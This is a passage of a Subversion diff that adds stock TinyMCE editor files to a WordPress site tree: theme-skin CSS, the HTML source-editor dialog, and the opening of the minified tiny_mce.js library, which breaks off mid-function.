+.wp_themeSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em}
+.wp_themeSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em}
+.wp_themeSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em}
+
+/* Theme */
+.wp_themeSkin span.mce_bold {background-position:0 0}
+.wp_themeSkin span.mce_italic {background-position:-60px 0}
+.wp_themeSkin span.mce_underline {background-position:-140px 0}
+.wp_themeSkin span.mce_strikethrough {background-position:-120px 0}
+.wp_themeSkin span.mce_undo {background-position:-160px 0}
+.wp_themeSkin span.mce_redo {background-position:-100px 0}
+.wp_themeSkin span.mce_cleanup {background-position:-40px 0}
+.wp_themeSkin span.mce_bullist {background-position:-20px 0}
+.wp_themeSkin span.mce_numlist {background-position:-80px 0}
+.wp_themeSkin span.mce_justifyleft {background-position:-460px 0}
+.wp_themeSkin span.mce_justifyright {background-position:-480px 0}
+.wp_themeSkin span.mce_justifycenter {background-position:-420px 0}
+.wp_themeSkin span.mce_justifyfull {background-position:-440px 0}
+.wp_themeSkin span.mce_anchor {background-position:-200px 0}
+.wp_themeSkin span.mce_indent {background-position:-400px 0}
+.wp_themeSkin span.mce_outdent {background-position:-540px 0}
+.wp_themeSkin span.mce_link {background-position:-500px 0}
+.wp_themeSkin span.mce_unlink {background-position:-640px 0}
+.wp_themeSkin span.mce_sub {background-position:-600px 0}
+.wp_themeSkin span.mce_sup {background-position:-620px 0}
+.wp_themeSkin span.mce_removeformat {background-position:-580px 0}
+.wp_themeSkin span.mce_newdocument {background-position:-520px 0}
+.wp_themeSkin span.mce_image {background-position:-380px 0}
+.wp_themeSkin span.mce_help {background-position:-340px 0}
+.wp_themeSkin span.mce_code {background-position:-260px 0}
+.wp_themeSkin span.mce_hr {background-position:-360px 0}
+.wp_themeSkin span.mce_visualaid {background-position:-660px 0}
+.wp_themeSkin span.mce_charmap {background-position:-240px 0}
+.wp_themeSkin span.mce_paste {background-position:-560px 0}
+.wp_themeSkin span.mce_copy {background-position:-700px 0}
+.wp_themeSkin span.mce_cut {background-position:-680px 0}
+.wp_themeSkin span.mce_blockquote {background-position:-220px 0}
+.wp_themeSkin .mce_forecolor span.mceAction {background-position:-720px 0}
+.wp_themeSkin .mce_backcolor span.mceAction {background-position:-760px 0}
+.wp_themeSkin .mce_forecolorpicker {background-position:-720px 0}
+.wp_themeSkin .mce_backcolorpicker {background-position:-760px 0}
+
+/* Plugins */
+.wp_themeSkin span.mce_advhr {background-position:-0px -20px}
+.wp_themeSkin span.mce_ltr {background-position:-20px -20px}
+.wp_themeSkin span.mce_rtl {background-position:-40px -20px}
+.wp_themeSkin span.mce_emotions {background-position:-60px -20px}
+.wp_themeSkin span.mce_fullpage {background-position:-80px -20px}
+.wp_themeSkin span.mce_fullscreen {background-position:-100px -20px}
+.wp_themeSkin span.mce_iespell {background-position:-120px -20px}
+.wp_themeSkin span.mce_insertdate {background-position:-140px -20px}
+.wp_themeSkin span.mce_inserttime {background-position:-160px -20px}
+.wp_themeSkin span.mce_absolute {background-position:-180px -20px}
+.wp_themeSkin span.mce_backward {background-position:-200px -20px}
+.wp_themeSkin span.mce_forward {background-position:-220px -20px}
+.wp_themeSkin span.mce_insert_layer {background-position:-240px -20px}
+.wp_themeSkin span.mce_insertlayer {background-position:-260px -20px}
+.wp_themeSkin span.mce_movebackward {background-position:-280px -20px}
+.wp_themeSkin span.mce_moveforward {background-position:-300px -20px}
+.wp_themeSkin span.mce_media {background-position:-320px -20px}
+.wp_themeSkin span.mce_nonbreaking {background-position:-340px -20px}
+.wp_themeSkin span.mce_pastetext {background-position:-360px -20px}
+.wp_themeSkin span.mce_pasteword {background-position:-380px -20px}
+.wp_themeSkin span.mce_selectall {background-position:-400px -20px}
+.wp_themeSkin span.mce_preview {background-position:-420px -20px}
+.wp_themeSkin span.mce_print {background-position:-440px -20px}
+.wp_themeSkin span.mce_cancel {background-position:-460px -20px}
+.wp_themeSkin span.mce_save {background-position:-480px -20px}
+.wp_themeSkin span.mce_replace {background-position:-500px -20px}
+.wp_themeSkin span.mce_search {background-position:-520px -20px}
+.wp_themeSkin span.mce_styleprops {background-position:-560px -20px}
+.wp_themeSkin span.mce_table {background-position:-580px -20px}
+.wp_themeSkin span.mce_cell_props {background-position:-600px -20px}
+.wp_themeSkin span.mce_delete_table {background-position:-620px -20px}
+.wp_themeSkin span.mce_delete_col {background-position:-640px -20px}
+.wp_themeSkin span.mce_delete_row {background-position:-660px -20px}
+.wp_themeSkin span.mce_col_after {background-position:-680px -20px}
+.wp_themeSkin span.mce_col_before {background-position:-700px -20px}
+.wp_themeSkin span.mce_row_after {background-position:-720px -20px}
+.wp_themeSkin span.mce_row_before {background-position:-740px -20px}
+.wp_themeSkin span.mce_merge_cells {background-position:-760px -20px}
+.wp_themeSkin span.mce_table_props {background-position:-980px -20px}
+.wp_themeSkin span.mce_row_props {background-position:-780px -20px}
+.wp_themeSkin span.mce_split_cells {background-position:-800px -20px}
+.wp_themeSkin span.mce_template {background-position:-820px -20px}
+.wp_themeSkin span.mce_visualchars {background-position:-840px -20px}
+.wp_themeSkin span.mce_abbr {background-position:-860px -20px}
+.wp_themeSkin span.mce_acronym {background-position:-880px -20px}
+.wp_themeSkin span.mce_attribs {background-position:-900px -20px}
+.wp_themeSkin span.mce_cite {background-position:-920px -20px}
+.wp_themeSkin span.mce_del {background-position:-940px -20px}
+.wp_themeSkin span.mce_ins {background-position:-960px -20px}
+.wp_themeSkin span.mce_pagebreak {background-position:0 -40px}
+.wp_themeSkin .mce_spellchecker span.mceAction {background-position:-540px -20px}
+
+/* border */
+.wp_themeSkin .mceExternalToolbar, 
+.wp_themeSkin .mceButton, 
+.wp_themeSkin a.mceButtonEnabled:hover, 
+.wp_themeSkin a.mceButtonActive, 
+.wp_themeSkin a.mceButtonSelected, 
+.wp_themeSkin .mceListBox .mceText, 
+.wp_themeSkin .mceListBox .mceOpen, 
+.wp_themeSkin table.mceListBoxEnabled:hover .mceText, 
+.wp_themeSkin .mceListBoxHover .mceText, 
+.wp_themeSkin .mceListBoxSelected .mceText, 
+.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen, 
+.wp_themeSkin .mceListBoxHover .mceOpen, 
+.wp_themeSkin .mceListBoxSelected .mceOpen, 
+.wp_themeSkin select.mceListBox, 
+.wp_themeSkin .mceSplitButton a.mceAction, 
+.wp_themeSkin .mceSplitButton a.mceOpen,
+.wp_themeSkin .mceSplitButton a.mceOpen:hover, 
+.wp_themeSkin .mceSplitButtonSelected a.mceOpen, 
+.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction, 
+.wp_themeSkin .mceSplitButton a.mceAction:hover, 
+.wp_themeSkin div.mceColorSplitMenu table, 
+.wp_themeSkin .mceColorSplitMenu a, 
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors, 
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover, 
+.wp_themeSkin a.mceMoreColors:hover, 
+.wp_themeSkin .mceMenu {
+	border-style: solid; 
+	border-width: 1px;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/source_editor.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/source_editor.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/source_editor.htm	(revision 44)
@@ -0,0 +1,31 @@
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+	<title>{#advanced_dlg.code_title}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/source_editor.js?ver=3241-1141"></script>
+</head>
+<body onresize="resizeInputs();" style="display:none; overflow:hidden;">
+	<form name="source" onsubmit="saveContent();return false;" action="#">
+		<div style="float: left" class="title">{#advanced_dlg.code_title}</div>
+
+		<div id="wrapline" style="float: right">
+			<input type="checkbox" name="wraped" id="wraped" onclick="toggleWordWrap(this);" class="wordWrapCode" /><label for="wraped">{#advanced_dlg.code_wordwrap}</label>
+		</div>
+
+		<br style="clear: both" />
+
+		<textarea name="htmlSource" id="htmlSource" rows="15" cols="100" style="width: 100%; height: 100%; font-family: 'Courier New',Courier,monospace; font-size: 12px;" dir="ltr" wrap="off" class="mceFocus"></textarea>
+
+		<div class="mceActionPanel">
+			<div style="float: left">
+				<input type="button" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" id="cancel" />
+			</div>
+
+			<div style="float: right">
+				<input type="submit" name="insert" value="{#update}" id="insert" />
+			</div>
+		</div>
+	</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/tiny_mce.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/tiny_mce.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/tiny_mce.js	(revision 44)
@@ -0,0 +1,1 @@
+var tinymce={majorVersion:"3",minorVersion:"2.4.1",releaseDate:"2009-05-25",_init:function(){var o=this,k=document,l=window,j=navigator,b=j.userAgent,h,a,g,f,e,m;o.isOpera=l.opera&&opera.buildNumber;o.isWebKit=/WebKit/.test(b);o.isIE=!o.isWebKit&&!o.isOpera&&(/MSIE/gi).test(b)&&(/Explorer/gi).test(j.appName);o.isIE6=o.isIE&&/MSIE [56]/.test(b);o.isGecko=!o.isWebKit&&/Gecko/.test(b);o.isMac=b.indexOf("Mac")!=-1;o.isAir=/adobeair/i.test(b);if(l.tinyMCEPreInit){o.suffix=tinyMCEPreInit.suffix;o.baseURL=tinyMCEPreInit.base;o.query=tinyMCEPreInit.query;return}o.suffix="";a=k.getElementsByTagName("base");for(h=0;h<a.length;h++){if(m=a[h].href){if(/^https?:\/\/[^\/]+$/.test(m)){m+="/"}f=m?m.match(/.*\//)[0]:""}}function c(d){if(d.src&&/tiny_mce(|_dev|_src|_gzip|_jquery|_prototype).js/.test(d.src)){if(/_(src|dev)\.js/g.test(d.src)){o.suffix="_src"}if((e=d.src.indexOf("?"))!=-1){o.query=d.src.substring(e+1)}o.baseURL=d.src.substring(0,d.src.lastIndexOf("/"));if(f&&o.baseURL.indexOf("://")==-1){o.baseURL=f+o.baseURL}return o.baseURL}return null}a=k.getElementsByTagName("script");for(h=0;h<a.length;h++){if(c(a[h])){return}}g=k.getElementsByTagName("head")[0];if(g){a=g.getElementsByTagName("script");for(h=0;h<a.length;h++){if(c(a[h])){return}}}return},is:function(b,a){var c=typeof(b);if(!a){return c!="undefined"}if(a=="array"&&(b.hasOwnProperty&&b instanceof Array)){return true}return c==a},each:function(d,a,c){var e,b;if(!d){return 0}c=c||d;if(typeof(d.length)!="undefined"){for(e=0,b=d.length;e<b;e++){if(a.call(c,d[e],e,d)===false){return 0}}}else{for(e in d){if(d.hasOwnProperty(e)){if(a.call(c,d[e],e,d)===false){return 0}}}}return 1},map:function(b,c){var d=[];tinymce.each(b,function(a){d.push(c(a))});return d},grep:function(b,c){var d=[];tinymce.each(b,function(a){if(!c||c(a)){d.push(a)}});return d},inArray:function(c,d){var e,b;if(c){for(e=0,b=c.length;e<b;e++){if(c[e]===d){return e}}}return -1},extend:function(f,d){var c,b=arguments;for(c=1;c<b.length;c++){d=b[c];tinymce.each(d,function(a,e){if(typeof(a)!=="undefined"){f[e]=a}})}return f},trim:function(a){return(a?""+a:"").replace(/^\s*|\s*$/g,"")},create:function(j,a){var i=this,b,e,f,g,d,h=0;j=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(j);f=j[3].match(/(^|\.)(\w+)$/i)[2];e=i.createNS(j[3].replace(/\.\w+$/,""));if(e[f]){return}if(j[2]=="static"){e[f]=a;if(this.onCreate){this.onCreate(j[2],j[3],e[f])}return}if(!a[f]){a[f]=function(){};h=1}e[f]=a[f];i.extend(e[f].prototype,a);if(j[5]){b=i.resolve(j[5]).prototype;g=j[5].match(/\.(\w+)$/i)[1];d=e[f];if(h){e[f]=function(){return b[g].apply(this,arguments)}}else{e[f]=function(){this.parent=b[g];return d.apply(this,arguments)}}e[f].prototype[f]=e[f];i.each(b,function(c,k){e[f].prototype[k]=b[k]});i.each(a,function(c,k){if(b[k]){e[f].prototype[k]=function(){this.parent=b[k];return c.apply(this,arguments)}}else{if(k!=f){e[f].prototype[k]=c}}})}i.each(a["static"],function(c,k){e[f][k]=c});if(this.onCreate){this.onCreate(j[2],j[3],e[f].prototype)}},walk:function(c,b,d,a){a=a||this;if(c){if(d){c=c[d]}tinymce.each(c,function(f,e){if(b.call(a,f,e,d)===false){return false}tinymce.walk(f,b,d,a)})}},createNS:function(d,c){var b,a;c=c||window;d=d.split(".");for(b=0;b<d.length;b++){a=d[b];if(!c[a]){c[a]={}}c=c[a]}return c},resolve:function(d,c){var b,a;c=c||window;d=d.split(".");for(b=0,a=d.length;b<a;b++){c=c[d[b]];if(!c){break}}return c},addUnload:function(e,d){var c=this,a=window;e={func:e,scope:d||this};if(!c.unloads){function b(){var f=c.unloads,h,i;if(f){for(i in f){h=f[i];if(h&&h.func){h.func.call(h.scope,1)}}if(a.detachEvent){a.detachEvent("onbeforeunload",g);a.detachEvent("onunload",b)}else{if(a.removeEventListener){a.removeEventListener("unload",b,false)}}c.unloads=h=f=a=b=0;if(window.CollectGarbage){window.CollectGarbage()}}}function g(){var h=document;if(h.readyState=="interactive"){function f(){h.detachEvent("onstop",f);if(b){b()}h=0}if(h){h.attachEvent("onstop",f)}window.setTimeout(function(){if(h){h.detachEvent("onstop",f)}},0)}}if(a.attachEvent){a.attachEvent("onunload",b);a.attachEvent("onbeforeunload",g)}else{if(a.addEventListener){a.addEventListener("unload",b,false)}}c.unloads=[e]}else{c.unloads.push(e)}return e},removeUnload:function(c){var a=this.unloads,b=null;tinymce.each(a,function(e,d){if(e&&e.func==c){a.splice(d,1);b=c;return false}});return b},explode:function(a,b){return a?tinymce.map(a.split(b||","),tinymce.trim):a},_addVer:function(b){var a;if(!this.query){return b}a=(b.indexOf("?")==-1?"?":"&")+this.query;if(b.indexOf("#")==-1){return b+a}return b.replace("#",a+"#")}};window.tinymce=tinymce;tinymce._init();tinymce.create("tinymce.util.Dispatcher",{scope:null,listeners:null,Dispatcher:function(a){this.scope=a||this;this.listeners=[]},add:function(a,b){this.listeners.push({cb:a,scope:b||this.scope});return a},addToTop:function(a,b){this.listeners.unshift({cb:a,scope:b||this.scope});return a},remove:function(a){var b=this.listeners,c=null;tinymce.each(b,function(e,d){if(a==e.cb){c=a;b.splice(d,1);return false}});return c},dispatch:function(){var f,d=arguments,e,b=this.listeners,g;for(e=0;e<b.length;e++){g=b[e];f=g.cb.apply(g.scope,d);if(f===false){break}}return f}});(function(){var a=tinymce.each;tinymce.create("tinymce.util.URI",{URI:function(e,g){var f=this,h,d,c;g=f.settings=g||{};if(/^(mailto|tel|news|javascript|about):/i.test(e)||/^\s*#/.test(e)){f.source=e;return}if(e.indexOf("/")===0&&e.indexOf("//")!==0){e=(g.base_uri?g.base_uri.protocol||"http":"http")+"://mce_host"+e}if(e.indexOf(":/")===-1&&e.indexOf("//")!==0){e=(g.base_uri.protocol||"http")+"://mce_host"+f.toAbsPath(g.base_uri.path,e)}e=e.replace(/@@/g,"(mce_at)");e=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e);a(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(b,j){var k=e[j];if(k){k=k.replace(/\(mce_at\)/g,"@@")}f[b]=k});if(c=g.base_uri){if(!f.protocol){f.protocol=c.protocol}if(!f.userInfo){f.userInfo=c.userInfo}if(!f.port&&f.host=="mce_host"){f.port=c.port}if(!f.host||f.host=="mce_host"){f.host=c.host}f.source=""}},setPath:function(c){var b=this;c=/^(.*?)\/?(\w+)?$/.exec(c);b.path=c[0];b.directory=c[1];b.file=c[2];b.source="";b.getURI()},toRelative:function(b){var c=this,d;if(b==="./"){return b}b=new tinymce.util.URI(b,{base_uri:c});if((b.host!="mce_host"&&c.host!=b.host&&b.host)||c.port!=b.port||c.protocol!=b.protocol){return b.getURI()}d=c.toRelPath(c.path,b.path);if(b.query){d+="?"+b.query}if(b.anchor){d+="#"+b.anchor}return d},toAbsolute:function(b,c){var b=new tinymce.util.URI(b,{base_uri:this});return b.getURI(this.host==b.host?c:0)},toRelPath:function(g,h){var c,f=0,d="",e,b;g=g.substring(0,g.lastIndexOf("/"));g=g.split("/");c=h.split("/");if(g.length>=c.length){for(e=0,b=g.length;e<b;e++){if(e>=c.length||g[e]!=c[e]){f=e+1;break}}}if(g.length<c.length){for(e=0,b=c.length;e<b;e++){if(e>=g.length||g[e]!=c[e]){f=e+1;break}}}if(f==1){return h}for(e=0,b=g.length-(f-1);e<b;e++){d+="../"}for(e=f-1,b=c.length;e<b;e++){if(e!=f-1){d+="/"+c[e]}else{d+=c[e]}}return d},toAbsPath:function(e,f){var c,b=0,g=[],d;d=/\/$/.test(f)?"/":"";e=e.split("/");f=f.split("/");a(e,function(h){if(h){g.push(h)}});e=g;for(c=f.length-1,g=[];c>=0;c--){if(f[c].length==0||f[c]=="."){continue}if(f[c]==".."){b++;continue}if(b>0){b--;continue}g.push(f[c])}c=e.length-b;if(c<=0){return"/"+g.reverse().join("/")+d}return"/"+e.slice(0,c).join("/")+"/"+g.reverse().join("/")+d},getURI:function(d){var c,b=this;if(!b.source||d){c="";if(!d){if(b.protocol){c+=b.protocol+"://"}if(b.userInfo){c+=b.userInfo+"@"}if(b.host){c+=b.host}if(b.port){c+=":"+b.port}}if(b.path){c+=b.path}if(b.query){c+="?"+b.query}if(b.anchor){c+="#"+b.anchor}b.source=c}return b.source}})})();(function(){var a=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(d){var b=this.get(d),c;if(b){a(b.split("&"),function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return unescape(h.substring(d+f.length,g))},set:function(i,b,g,f,h,c){document.cookie=i+"="+escape(b)+((g)?"; expires="+g.toGMTString():"")+((f)?"; path="+escape(f):"")+((h)?"; domain="+h:"")+((c)?"; secure":"")},remove:function(e,b){var c=new Date();c.setTime(c.getTime()-1000);this.set(e,"",c,b,c)}})})();tinymce.create("static tinymce.util.JSON",{serialize:function(e){var c,a,d=tinymce.util.JSON.serialize,b;if(e==null){return"null"}b=typeof e;if(b=="string"){a="\bb\tt\nn\ff\rr\"\"''\\\\";return'"'+e.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g,function(g,f){c=a.indexOf(f);if(c+1){return"\\"+a.charAt(c+1)}g=f.charCodeAt().toString(16);return"\\u"+"0000".substring(g.length)+g})+'"'}if(b=="object"){if(e.hasOwnProperty&&e instanceof Array){for(c=0,a="[";c<e.length;c++){a+=(c>0?",":"")+d(e[c])}return a+"]"}a="{";for(c in e){a+=typeof e[c]!="function"?(a.length>1?',"':'"')+c+'":'+d(e[c]):""}return a+"}"}return""+e},parse:function(s){try{return eval("("+s+")")}catch(ex){}}});tinymce.create("static tinymce.util.XHR",{send:function(g){var a,e,b=window,h=0;g.scope=g.scope||this;g.success_scope=g.success_scope||g.scope;g.error_scope=g.error_scope||g.scope;g.async=g.async===false?false:true;g.data=g.data||"";function d(i){a=0;try{a=new ActiveXObject(i)}catch(c){}return a}a=b.XMLHttpRequest?new XMLHttpRequest():d("Microsoft.XMLHTTP")||d("Msxml2.XMLHTTP");if(a){if(a.overrideMimeType){a.overrideMimeType(g.content_type)}a.open(g.type||(g.data?"POST":"GET"),g.url,g.async);if(g.content_type){a.setRequestHeader("Content-Type",g.content_type)}a.send(g.data);function f(){if(!g.async||a.readyState==4||h++>10000){if(g.success&&h<10000&&a.status==200){g.success.call(g.success_scope,""+a.responseText,a,g)}else{if(g.error){g.error.call(g.error_scope,h>10000?"TIMED_OUT":"GENERAL",a,g)}}a=null}else{b.setTimeout(f,10)}}if(!g.async){return f()}e=b.setTimeout(f,10)}}});(function(){var c=tinymce.extend,b=tinymce.util.JSON,a=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(d){this.settings=c({},d);this.count=0},send:function(f){var e=f.error,d=f.success;f=c(this.settings,f);f.success=function(h,g){h=b.parse(h);if(typeof(h)=="undefined"){h={error:"JSON Parse error."}}if(h.error){e.call(f.error_scope||f.scope,h.error,g)}else{d.call(f.success_scope||f.scope,h.result)}};f.error=function(h,g){e.call(f.error_scope||f.scope,h,g)};f.data=b.serialize({id:f.id||"c"+(this.count++),method:f.method,params:f.params});f.content_type="application/json";a.send(f)},"static":{sendRPC:function(d){return new tinymce.util.JSONRequest().send(d)}}})}());(function(c){var e=c.each,b=c.is;var d=c.isWebKit,a=c.isIE;c.create("tinymce.dom.DOMUtils",{doc:null,root:null,files:null,pixelStyles:/^(top|left|bottom|right|width|height|borderWidth)$/,props:{"for":"htmlFor","class":"className",className:"className",checked:"checked",disabled:"disabled",maxlength:"maxLength",readonly:"readOnly",selected:"selected",value:"value",id:"id",name:"name",type:"type"},DOMUtils:function(i,g){var f=this;f.doc=i;f.win=window;f.files={};f.cssFlicker=false;f.counter=0;f.boxModel=!c.isIE||i.compatMode=="CSS1Compat";f.stdMode=i.documentMode===8;f.settings=g=c.extend({keep_values:false,hex_colors:1,process_html:1},g);if(c.isIE6){try{i.execCommand("BackgroundImageCache",false,true)}catch(h){f.cssFlicker=true}}c.addUnload(f.destroy,f)},getRoot:function(){var f=this,g=f.settings;return(g&&f.get(g.root_element))||f.doc.body},getViewPort:function(g){var h,f;g=!g?this.win:g;h=g.document;f=this.boxModel?h.documentElement:h.body;return{x:g.pageXOffset||f.scrollLeft,y:g.pageYOffset||f.scrollTop,w:g.innerWidth||f.clientWidth,h:g.innerHeight||f.clientHeight}},getRect:function(i){var h,f=this,g;i=f.get(i);h=f.getPos(i);g=f.getSize(i);return{x:h.x,y:h.y,w:g.w,h:g.h}},getSize:function(j){var g=this,f,i;j=g.get(j);f=g.getStyle(j,"width");i=g.getStyle(j,"height");if(f.indexOf("px")===-1){f=0}if(i.indexOf("px")===-1){i=0}return{w:parseInt(f)||j.offsetWidth||j.clientWidth,h:parseInt(i)||j.offsetHeight||j.clientHeight}},is:function(g,f){return c.dom.Sizzle.matches(f,g.nodeType?[g]:g).length>0},getParent:function(i,h,g){return this.getParents(i,h,g,false)},getParents:function(p,k,i,m){var h=this,g,j=h.settings,l=[];p=h.get(p);m=m===undefined;if(j.strict_root){i=i||h.getRoot()}if(b(k,"string")){g=k;if(k==="*"){k=function(f){return f.nodeType==1}}else{k=function(f){return h.is(f,g)}}}while(p){if(p==i||!p.nodeType||p.nodeType===9){break}if(!k||k(p)){if(m){l.push(p)}else{return p}}p=p.parentNode}return m?l:null},get:function(f){var g;if(f&&this.doc&&typeof(f)=="string"){g=f;f=this.doc.getElementById(f);if(f&&f.id!==g){return this.doc.getElementsByName(g)[1]}}return f},select:function(h,g){var f=this;return c.dom.Sizzle(h,f.get(g)||f.get(f.settings.root_element)||f.doc,[])},add:function(j,l,f,i,k){var g=this;return this.run(j,function(n){var m,h;m=b(l,"string")?g.doc.createElement(l):l;g.setAttribs(m,f);if(i){if(i.nodeType){m.appendChild(i)}else{g.setHTML(m,i)}}return !k?n.appendChild(m):m})},create:function(i,f,g){return this.add(this.doc.createElement(i),i,f,g,1)},createHTML:function(m,f,j){var l="",i=this,g;l+="<"+m;for(g in f){if(f.hasOwnProperty(g)){l+=" "+g+'="'+i.encode(f[g])+'"'}}if(c.is(j)){return l+">"+j+"</"+m+">"}return l+" />"},remove:function(h,f){var g=this;return this.run(h,function(m){var l,k,j;l=m.parentNode;if(!l){return null}if(f){for(j=m.childNodes.length-1;j>=0;j--){g.insertAfter(m.childNodes[j],m)}}if(g.fixPsuedoLeaks){l=m.cloneNode(true);f="IELeakGarbageBin";k=g.get(f)||g.add(g.doc.body,"div",{id:f,style:"display:none"});k.appendChild(m);k.innerHTML="";return l}return l.removeChild(m)})},setStyle:function(i,f,g){var h=this;return h.run(i,function(l){var k,j;k=l.style;f=f.replace(/-(\D)/g,function(n,m){return m.toUpperCase()});if(h.pixelStyles.test(f)&&(c.is(g,"number")||/^[\-0-9\.]+$/.test(g))){g+="px"}switch(f){case"opacity":if(a){k.filter=g===""?"":"alpha(opacity="+(g*100)+")";if(!i.currentStyle||!i.currentStyle.hasLayout){k.display="inline-block"}}k[f]=k["-moz-opacity"]=k["-khtml-opacity"]=g||"";break;case"float":a?k.styleFloat=g:k.cssFloat=g;break;default:k[f]=g||""}if(h.settings.update_styles){h.setAttrib(l,"mce_style")}})},getStyle:function(i,f,h){i=this.get(i);if(!i){return false}if(this.doc.defaultView&&h){f=f.replace(/[A-Z]/g,function(j){return"-"+j});try{return this.doc.defaultView.getComputedStyle(i,null).getPropertyValue(f)}catch(g){return null}}f=f.replace(/-(\D)/g,function(k,j){return j.toUpperCase()});if(f=="float"){f=a?"styleFloat":"cssFloat"}if(i.currentStyle&&h){return i.currentStyle[f]}return i.style[f]},setStyles:function(i,j){var g=this,h=g.settings,f;f=h.update_styles;h.update_styles=0;e(j,function(k,l){g.setStyle(i,l,k)});h.update_styles=f;if(h.update_styles){g.setAttrib(i,h.cssText)}},setAttrib:function(h,i,f){var g=this;if(!h||!i){return}if(g.settings.strict){i=i.toLowerCase()}return this.run(h,function(k){var j=g.settings;switch(i){case"style":if(!b(f,"string")){e(f,function(l,m){g.setStyle(k,m,l)});return}if(j.keep_values){if(f&&!g._isRes(f)){k.setAttribute("mce_style",f,2)}else{k.removeAttribute("mce_style",2)}}k.style.cssText=f;break;case"class":k.className=f||"";break;case"src":case"href":if(j.keep_values){if(j.url_converter){f=j.url_converter.call(j.url_converter_scope||g,f,i,k)}g.setAttrib(k,"mce_"+i,f,2)}break;case"shape":k.setAttribute("mce_style",f);break}if(b(f)&&f!==null&&f.length!==0){k.setAttribute(i,""+f,2)}else{k.removeAttribute(i,2)}})},setAttribs:function(g,h){var f=this;return this.run(g,function(i){e(h,function(j,k){f.setAttrib(i,k,j)})})},getAttrib:function(i,j,h){var f,g=this;i=g.get(i);if(!i||i.nodeType!==1){return false}if(!b(h)){h=""}if(/^(src|href|style|coords|shape)$/.test(j)){f=i.getAttribute("mce_"+j);if(f){return f}}if(a&&g.props[j]){f=i[g.props[j]];f=f&&f.nodeValue?f.nodeValue:f}if(!f){f=i.getAttribute(j,2)}if(j==="style"){f=f||i.style.cssText;if(f){f=g.serializeStyle(g.parseStyle(f));if(g.settings.keep_values&&!g._isRes(f)){i.setAttribute("mce_style",f)}}}if(d&&j==="class"&&f){f=f.replace(/(apple|webkit)\-[a-z\-]+/gi,"")}if(a){switch(j){case"rowspan":case"colspan":if(f===1){f=""}break;case"size":if(f==="+0"||f===20||f===0){f=""}break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":if(f===0){f=""}break;case"hspace":if(f===-1){f=""}break;case"maxlength":case"tabindex":if(f===32768||f===2147483647||f==="32768"){f=""}break;case"multiple":case"compact":case"noshade":case"nowrap":if(f===65535){return j}return h;case"shape":f=f.toLowerCase();break;default:if(j.indexOf("on")===0&&f){f=(""+f).replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1")}}}return(f!==undefined&&f!==null&&f!=="")?""+f:h},getPos:function(m,i){var g=this,f=0,l=0,j,k=g.doc,h;m=g.get(m);i=i||k.body;if(m){if(a&&!g.stdMode){m=m.getBoundingClientRect();j=g.boxModel?k.documentElement:k.body;f=g.getStyle(g.select("html")[0],"borderWidth");f=(f=="medium"||g.boxModel&&!g.isIE6)&&2||f;m.top+=g.win.self!=g.win.top?2:0;return{x:m.left+j.scrollLeft-f,y:m.top+j.scrollTop-f}}h=m;while(h&&h!=i&&h.nodeType){f+=h.offsetLeft||0;l+=h.offsetTop||0;h=h.offsetParent}h=m.parentNode;while(h&&h!=i&&h.nodeType){f-=h.scrollLeft||0;l-=h.scrollTop||0;h=h.parentNode}}return{x:f,y:l}},parseStyle:function(h){var i=this,j=i.settings,k={};if(!h){return k}function f(w,q,v){var o,u,m,n;o=k[w+"-top"+q];if(!o){return}u=k[w+"-right"+q];if(o!=u){return}m=k[w+"-bottom"+q];if(u!=m){return}n=k[w+"-left"+q];if(m!=n){return}k[v]=n;delete k[w+"-top"+q];delete k[w+"-right"+q];delete k[w+"-bottom"+q];delete k[w+"-left"+q]}function g(n,m,l,p){var o;o=k[m];if(!o){return}o=k[l];if(!o){return}o=k[p];if(!o){return}k[n]=k[m]+" "+k[l]+" "+k[p];delete k[m];delete k[l];delete k[p]}h=h.replace(/&(#?[a-z0-9]+);/g,"&$1_MCE_SEMI_");e(h.split(";"),function(m){var l,n=[];if(m){m=m.replace(/_MCE_SEMI_/g,";");m=m.replace(/url\([^\)]+\)/g,function(o){n.push(o);return"url("+n.length+")"});m=m.split(":");l=c.trim(m[1]);l=l.replace(/url\(([^\)]+)\)/g,function(p,o){return n[parseInt(o)-1]});l=l.replace(/rgb\([^\)]+\)/g,function(o){return 